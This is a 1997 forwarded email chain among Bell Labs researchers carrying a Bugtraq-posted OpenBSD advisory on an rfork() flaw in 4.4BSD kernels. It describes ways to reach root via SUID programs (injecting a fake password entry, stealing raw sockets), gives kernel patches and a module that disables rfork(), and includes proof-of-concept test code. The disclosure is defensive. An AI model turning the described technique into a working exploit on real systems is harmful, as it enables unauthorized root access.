------ forwarded message follows ------
>From bell-labs.com!ches Sun Aug 3 10:41:09 EDT 1997
Received: from research.research.bell-labs.com ([135.104.1.3]) by plan9; Sun Aug 3 10:41:09 EDT 1997
Received: from chesport.research.bell-labs.com ([135.104.3.112]) by research; Sun Aug 3 10:40:41 EDT 1997
Message-Id: <1.5.4.32.19970803143854.00663918@plan9.cs.bell-labs.com>
X-Sender: ches@plan9.cs.bell-labs.com
X-Mailer: Windows Eudora Light Version 1.5.4 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Sun, 03 Aug 1997 10:38:54 -0400
To: research.bell-labs.com!presotto,research.bell-labs.com!philw
From: Bill Cheswick <bell-labs.com!ches>
Subject: note the plan9 reference
The Plan 9 reference looks bogus to me, esp. with the reference to setuid
programs. But I forward this just in case.
>To: research.bell-labs.com!ches
>Subject: note the plan9 reference
>Date: Sat, 02 Aug 1997 22:17:36 -0400
>From: Steven Bellovin <research.att.com!smb>
>
>
>------- Forwarded Message
>
>Return-Path: owner-bugtraq@NETSPACE.ORG
>Return-Path: owner-bugtraq@NETSPACE.ORG
>Received: from research.att.com (research.research.att.com [135.205.32.20])
by raptor.research.att.com (8.8.5/8.7) with SMTP id WAA04289 for
<smb@raptor.research.att.com>; Sat, 2 Aug 1997 22:08:01 -0400 (EDT)
>Received: from brimstone.netspace.org ([128.148.157.143]) by research; Sat
Aug 2 22:06:31 EDT 1997
>Received: from unknown@netspace.org (port 49671 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <20198-10761>; Sat, 2 Aug 1997 21:28:52
-0400
>Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
> spool id 4576641 for BUGTRAQ@NETSPACE.ORG; Sat, 2 Aug 1997 21:23:12
> -0400
>Received: from brimstone.netspace.org (brimstone [128.148.157.143]) by
> netspace.org (8.8.5/8.8.2) with ESMTP id VAA24394 for
> <BUGTRAQ@NETSPACE.ORG>; Sat, 2 Aug 1997 21:22:23 -0400
>Received: from unknown@netspace.org (port 49671 [128.148.157.6]) by
> brimstone.netspace.org with ESMTP id <20092-10761>; Sat, 2 Aug 1997
> 21:23:40 -0400
>Approved-By: aleph1@UNDERGROUND.ORG
>Received: from enteract.com (enteract.com [206.54.252.1]) by netspace.org
> (8.8.5/8.8.2) with ESMTP id UAA22689 for <bugtraq@netspace.org>; Sat,
> 2 Aug 1997 20:59:44 -0400
>Received: (from tqbf@localhost) by enteract.com (8.8.5/8.7.6) id UAA19968 for
> bugtraq@netspace.org; Sat, 2 Aug 1997 20:02:04 -0500 (CDT)
>X-Mailer: ELM [version 2.4 PL24 ME8a]
>Content-Type: text
>Message-ID: <199708030102.UAA19968@enteract.com>
>Date: Sat, 2 Aug 1997 20:02:04 -0500
>Reply-To: tqbf@enteract.com
>Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
>From: "Thomas H. Ptacek" <tqbf@enteract.com>
>Subject: Vulnerability in 4.4BSD rfork() implementation
>To: BUGTRAQ@NETSPACE.ORG
>
>- ----------------------------------------------------------------------------
>
> OpenBSD Security Advisory
>
> August 2, 1997
>
> Vulnerability in rfork() System Call
>
>- ----------------------------------------------------------------------------
>
>SYNOPSIS
>
>A vulnerability in certain 4.4BSD kernels allows processes to gain
>access to restricted resources by manipulating the file descriptor
>tables of SUID and SGID executables. Applications of this vulnerability
>will allow users to gain root access.
>
>- ----------------------------------------------------------------------------
>
>AFFECTED SYSTEMS
>
>It is believed that all 4.4BSD operating systems implementing the
>rfork() system call are currently vulnerable to this problem. These
>operating systems include OpenBSD 2.1 and FreeBSD 3.0. The OpenBSD
>project has resolved this problem in OpenBSD-current.
>
>The rfork() system call originated in the Plan9 operating system,
>and the 4.4BSD implementations of it share the original's semantics.
>Therefore, it is believed that Plan9 may be vulnerable as well.
>
>Code is provided at the end of this document that will allow system
>operators to test their vulnerability.
>
>- ----------------------------------------------------------------------------
>
>DETAILS
>
>Recent 4.4BSD operating systems added the rfork() system call as an
>additional method of creating a new process. Unlike fork(), rfork()
>allows the caller tighter control over which resources are shared
>between the parent and child processes. These resources include
>the per-process descriptor table.
>
>The descriptor table of a process lists all open file descriptors
>for that process. Input and output on files, sockets, and pipes is
>done through these descriptors. Two processes sharing the same
>descriptor table can read from any file either has open in read mode,
>and write to any file either has in write mode.
>
>Unfortunately, the 4.4BSD implementation of rfork() allows this to occur
>with processes whose credentials have been altered via SUID/SGID programs.
>A process can execute any SUID program on the system and gain access to
>it's file descriptor table. This can be exploited to allow unprivileged
>processes to access security-critical resources, such as the password
>file.
>
>- ----------------------------------------------------------------------------
>
>TECHNICAL INFORMATION
>
>The default behavior of rfork() is to share the file descriptor table
>between the child and parent processes. A process created with rfork() can
>therefore, by default, be manipulated by it's parent.
>
>An example of this problem occurs in passwd(1), an SUID program that
>modifies the password database. A user on the system can rfork() a process
>and use it to execute passwd(1). The child process will gain effective
>superuser credentials as a result of executing the SUID program. The
>parent can then wait for the temporary copy of the password database to be
>opened, and inject a fake entry into it using the file descriptor it
>now shares with passwd(1). When the password database is rebuilt, the fake
>entry will be commited to it and system security will be compromised.
>
>It should be noted that this is not the only avenue of exploitation for
>this problem. The vulnerability allows complete control over the file
>descriptor tables of privileged programs; this can be exploited in a
>variety of ways with any SUID program.
>
>Another possible attack allows an attacker to, among other things, steal
>sockets from network programs; an attacker can execute an SUID networking
>program such as "ping", duplicate the descriptor associated with a raw
>socket, and close the original descriptor. The unprivileged attacker now
>controls a raw socket.
>
>Additionally, an attacker can close a descriptor opened by an SUID
>program, and re-open it pointing elsewhere, causing the SUID program to
>unwittingly alter any file accessible by the attacker.
>
>- ----------------------------------------------------------------------------
>
>RESOLUTION
>
>Provided at the end of this document is a patch from OpenBSD-current that
>resolves the problem in OpenBSD systems. The OpenBSD patch alters execve()
>to cause it not to honor the SUID or SGID bit when executing from a
>process that shares a file descriptor table with a different process.
>
>Also provided is a modloadable workaround for FreeBSD. The provided module
>will disable the rfork() system call from a running system that supports
>loadable modules.
>
>- ----------------------------------------------------------------------------
>
>OPENBSD PATCH
>
>The following patch resolves the rfork() problem in OpenBSD systems.
>
>- -- cut here --
>
>- --- kern_exec.c 1997/06/05 08:05:54 1.11
>+++ kern_exec.c 1997/08/01 22:54:50 1.12
>@@ -1,4 +1,4 @@
>- -/* $OpenBSD: kern_exec.c,v 1.11 1997/06/05 08:05:54 deraadt Exp $ */
>+/* $OpenBSD: kern_exec.c,v 1.12 1997/08/01 22:54:50 deraadt Exp $ */
> /* $NetBSD: kern_exec.c,v 1.75 1996/02/09 18:59:28 christos Exp $ */
>
> /*-
>@@ -124,7 +124,8 @@
> error = EACCES;
> goto bad1;
> }
>- - if ((vp->v_mount->mnt_flag & MNT_NOSUID) || (p->p_flag & P_TRACED))
>+ if ((vp->v_mount->mnt_flag & MNT_NOSUID) ||
>+ (p->p_flag & P_TRACED) || p->p_fd->fd_refcnt > 1)
> epp->ep_vap->va_mode &= ~(VSUID | VSGID);
>
> /* check access. for root we have to see if any exec bit on */
>
>- -- cut here --
>
>- ----------------------------------------------------------------------------
>
>FREEBSD PATCH
>
>The following patch is unsupported by the FreeBSD project.
>
>- -- cut here --
>
>- --- kern_exec.c Wed Apr 23 17:13:00 1997
>+++ kern_exec_new.c Sat Aug 2 19:18:34 1997
>@@ -653,7 +653,9 @@
> * Disable setuid/setgid if the filesystem prohibits it or if
> * the process is being traced.
> */
>- - if ((vp->v_mount->mnt_flag & MNT_NOSUID) || (p->p_flag & P_TRACED))
>+ if ((vp->v_mount->mnt_flag & MNT_NOSUID)
>+ || (p->p_flag & P_TRACED)
>+ || p->p_fd->fd_refcnt > 1)
> attr->va_mode &= ~(VSUID | VSGID);
>
> return (0);
>
>- -- cut here --
>
>- ----------------------------------------------------------------------------
>
>FREEBSD WORKAROUND
>
>The following module, when loaded on a FreeBSD system supporting
>rfork(), will disable the system call as a temporary resolution
>to the problem.
>
>- -- cut here --
>
># This is a shell archive. Save it in a file, remove anything before
># this line, and then unpack it by entering "sh file". Note, it may
># create directories; files and directories will be owned by you and
># have default permissions.
>#
># This archive contains:
>#
># Makefile
># unrfork_mod_load.c
>#
>echo x - Makefile
>sed 's/^X//' >Makefile << 'END-of-Makefile'
>XBINDIR= .
>XSRCS= unrfork_mod_load.c
>XKMOD= disable_rfork
>XNOMAN= none
>X
>XCLEANFILES+= ${KMOD}
>X
>X.include <bsd.kmod.mk>
>END-of-Makefile
>echo x - unrfork_mod_load.c
>sed 's/^X//' >unrfork_mod_load.c << 'END-of-unrfork_mod_load.c'
>X#define RFORK_SYSCALL_NO 251
>X
>X#include <sys/param.h>
>X#include <sys/ioctl.h>
>X#include <sys/proc.h>
>X#include <sys/systm.h>
>X#include <sys/sysproto.h>
>X#include <sys/conf.h>
>X#include <sys/mount.h>
>X#include <sys/exec.h>
>X#include <sys/sysent.h>
>X#include <sys/lkm.h>
>X#include <a.out.h>
>X#include <sys/file.h>
>X#include <sys/errno.h>
>X#include <sys/queue.h>
>X#include <sys/mbuf.h>
>X#include <sys/socket.h>
>X#include <sys/socketvar.h>
>X#include <sys/protosw.h>
>X#include <sys/kernel.h>
>X#include <sys/sockio.h>
>X
>Xint disable_rfork(struct lkm_table *lkp, int cmd, int ver);
>X
>XMOD_MISC(disable_rfork);
>X
>Xstatic int
>Xdisable_rfork_load(struct lkm_table *lkp, int cmd) {
>X struct sysent *sp = &sysent[RFORK_SYSCALL_NO];
>X int err = 0;
>X
>X switch(cmd) {
>X case LKM_E_LOAD:
>X sp->sy_call = (sy_call_t *) nosys;
>X
>X printf("rfork() call disabled\n");
>X break;
>X
>X case LKM_E_UNLOAD:
>X sp->sy_call = (sy_call_t *) rfork;
>X
>X printf("rfork() call enabled\n");
>X break;
>X
>X default:
>X err = EINVAL;
>X break;
>X }
>X
>X return(err);
>X}
>X
>Xint disable_rfork(struct lkm_table *lkp, int cmd, int ver) {
>X DISPATCH(lkp, cmd, ver, disable_rfork_load,
>X disable_rfork_load, lkm_nullcmd);
>X}
>END-of-unrfork_mod_load.c
>exit
>
>- ----------------------------------------------------------------------------
>
>EXAMPLE CODE
>
>The following code tests for the presence of the rfork() vulnerability on
>4.4BSD systems. If, after running this program, a file is created in "/"
>containing the word "VULNERABLE", the system is vulnerable to the problem.
>
>To use this test, extract the following two C programs. Compile the first
>("dummy-suid") and make it SUID root, world executable. Compile and run
>the second in the same directory.
>
>- -- cut here (dummy-suid.c) --
>
>#include <stdio.h>
>#include <fcntl.h>
>#include <errno.h>
>
>int main() {
> int fd;
>
> umask(2);
>
> /* open a file in the root directory */
>
> if(fd = open("/VULNERABLE", O_RDWR|O_CREAT) < 0) {
> perror("open");
> exit(0);
> }
>
> /* wait for something to happen */
>
> for(;;);
>
> exit(0);
>}
>
>- -- cut here (test.c) --
>
>#include <stdio.h>
>#include <unistd.h>
>
>int main() {
> int p;
>
> /* UNPRIVILEGED */
>
> /* create a new process that shares it's parent's file
> * descriptor table
> */
>
> if(!(p = rfork(RFPROC))) {
>
> /* wait for parent to open a file, write
> * to it.
> */
>
> sleep(1);
> write(3, "VULNERABLE\n", 10);
> exit(0);
> }
>
> /* PRIVILEGED */
>
> /* execute 'p', an SUID program that opens a file and
> * hangs
> */
>
> execl("./dummy-suid", "dummy-suid", NULL);
>
> exit(0);
>}
>
>- -- cut here --
>
>- ----------------------------------------------------------------------------
>
>CREDITS
>
>The OpenBSD development team would like to express gratitude to Danny
>Dulai for his discovery of this problem, to Theo de Raadt for the OpenBSD
>patch, and to Tim Newsham, for providing proof-of-concept code.
>
>The developers at OpenBSD would also like to thank Perry Metzger for his
>reliable and consistant support of their work.
>
>OpenBSD would like to thank Crosswalk Network Security, Inc. for
>extensive assistance in the discovery, testing, and documentation of this
>vulnerability.
>
>- ---
> Crosswalk Network Security, Inc. is a full service computer
>security consultancy, founded to address the growing need for
>comprehensive data protection solutions. By providing extensive security
>auditing, intrusion detection and response, rigid policy design, and
>implementation of cutting-edge encryption systems, Crosswalk ensures
>robust, thorough, and uncompromising protection for organizations seeking
>enterprise wide data security.
>
> For more information, mail info@crosswalk.com.
>
>- -----BEGIN PGP PUBLIC KEY BLOCK-----
>Version: 2.6.2
>
>mQCNAzPjeZkAAAEEAL4FxOmLn0b4xbgO4VOs0q/puHP2PQQe8u+H9HBKVzdcJpNi
>Rux9m9YcrVheJiI14LXsXyQjRc2gPUg2449KVJmlaftY99XsqWMv14SnXdVuwbLd
>M2PyVf9dQe0fhqhRTCchXG9rGtYUPowSofBpNHmkQ8Vy0UqGAmB3uXRU3efNAAUR
>tDlDcm9zc3dhbGsgTmV0d29yayBTZWN1cml0eSwgSW5jLiA8c2VjdXJpdHlAY3Jv
>c3N3YWxrLmNvbT4=
>=TIRq
>- -----END PGP PUBLIC KEY BLOCK-----
>
>------- End of Forwarded Message
>
>